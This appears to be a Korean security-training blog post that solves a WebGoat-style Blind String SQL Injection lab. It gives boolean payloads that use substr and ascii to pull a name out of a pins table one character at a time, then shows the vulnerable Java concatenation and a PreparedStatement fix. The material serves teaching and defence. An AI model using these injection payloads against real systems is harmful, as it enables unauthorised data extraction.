[SK shieldus Rookies 19기][애플리케이션 보안] Blind String SQL Injection 풀이 및 방어

Sungwuk·2024년 3월 28일
0

직전 Blind Numeric SQL Injection 문제랑 거의 유사한 문제다.

이걸 처음 접한다면
https://velog.io/@wearetheone/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-Blind-Numeric-SQL-Injection
을 먼저 보고 오자

문제: cc_number가 4321432143214321인 행의 pins 테이블에서 name 값을 찾는 것입니다. 필드는 문자열인 varchar 유형이다.

풀이

이전과 동일한 방식대로

  1. 서버로 전달되는 형식 알아내기
  2. SQL query문 추측

순으로 문제를 풀어보자

1. 서버로 전달되는 형식 알아내기

개발자 도구로 Go! 버튼을 찍어보면

<form accept-charset="UNKNOWN" method="POST" name="form" action="attack?Screen=39&amp;menu=1100" enctype="">
  <p>Enter your Account Number: 
    <input name="account_number" type="TEXT" value="101">
    <input name="SUBMIT" type="SUBMIT" value="Go!"></p>
  <p>Account number is valid</p>
</form>

이러한 form 태그를 볼 수 있다.

그럼

attack?Screen=35&menu=1100&account_number=101&SUBMIT=Go!

이런 형식으로 서버에 전달될 것이다.

2. SQL query문 추측

select * from accounts where account_number = 101

으로 전달될 것이고 우리는 and 문을 사용하여 우리고 원하는 정보 cc_number = 4321432143214321 인 정보를 조회하는 쿼리문을 만들면 된다.

select * from accounts where account_number = 101 and
(select name from pins where cc_number = '4321432143214321') = '?????'

이런식으로 찾는데 이건 문자열이다 보니 더 힘든 단순 반복을 요구한다.

select * from accounts where account_number = 101 and 
(select substr(name, 1, 1) from pins where cc_number = '4321432143214321') = '?'
select * from accounts where account_number = 101 and 
(select substr(name, 2, 1) from pins where cc_number = '4321432143214321') = '?'

이렇게 찾아야하는데 알파벳 개수는 대소문자 다 합해서 52개이다.

그럼 이전 문제 처럼 범위를 이용해서 조금이나마 편리하게 찾아볼려면 아스키코드를 이용하면 된다.

select * from accounts where account_number = 101 and 
(select ascii(substr(name, 1, 1)) from pins where cc_number = '4321432143214321') < 65

방어

취약한 소스코드를 확인해 보자

이클립스에서 Ctrl + Shift + R 하면 해당 프로젝트에서 특정 파일을 검색할 수 있다.

BlindStringSqlInjection.java 파일을 열어보자

/**생략**/
String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
/**생략**/
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
//
//
//
 Statement statement = connection.createStatement(		
	ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);

문제가 되는 코드들만 가져 왔다. 뭐가 문제일까?

String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
//이 구문은 사용입력을 반환하고 값이 없을경우 101을 반환한다.

101을 반환하는게 문제이다. 왜냐하면 101도 Valid한 Account이기 때문

그럼 String query를 보면 외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 문자열 결합 방식의 쿼리문 생성하고 있다.

이건 외부 입력값에 의해 쿼리의 구조와 의미가 변형될 수 있다는걸 의미한다.

그렇게 조작 여부가 확인 되지 않은 query가

 Statement statement = connection.createStatement(		
	ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);

를 그대로 실행된다.

그럼 어떻게 해야할까?

  1. 쿼리의 구조를 재정의
  2. Statement 객체대신 PreparedStatement을 사용
  3. 쿼리 실행에 필요한 변수를 설정하고 쿼리를 실행

Statement
만들어진 문자열 형태의 쿼리를 그대로 전달해서 실행

PreparedStatement
미리 정의한 쿼리 구조에 맞춰서 쿼리를 생성해서 DB로 전달해서 실행

//생략
/*
*
*/
// ?는 매개변수를 위한 자리 표시자로 작동
//그 다음 응용 프로그램은 쿼리를 실행하기 전에 이러한 매개변수에 값을 바인딩

String query = "SELECT * FROM user_data WHERE userid = ? ";
//connection.prepareStatement() 매서드를 이용하여 생성
//객체 생성시 query를 미리 정의
PreparedStatement statement = connection.prepareStatement(query, 
			    ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
                
//    변수 값이 할당되는 컬럼의 데이터 타입에 맞는 메서드(여기선 Int)를 사용해야 하고, 
//    쿼리 실행 메서드에 쿼리문을 전달하지 않아야 한다
statement.setInt(1, Integer.parseInt(accountNumber));
//이렇게 변수를 변환하면 공격 문자(따옴표, 괄포 등등)가 오류를 발생시킨다

ResultSet results = statement.executeQuery(); 
//공격을 미리 방어 하였으므로 별도의 쿼리를 넘기지 않고 실행
//생략
/*
*
*/

이렇게 공격문자를 미리 예방함으로서 SQL Injection을 막을 수 있다.

profile
https://github.com/John-Jung

4개의 댓글

comment-user-thumbnail
2024년 3월 30일

정말 멋진 글이네요

1개의 답글

관련 채용 정보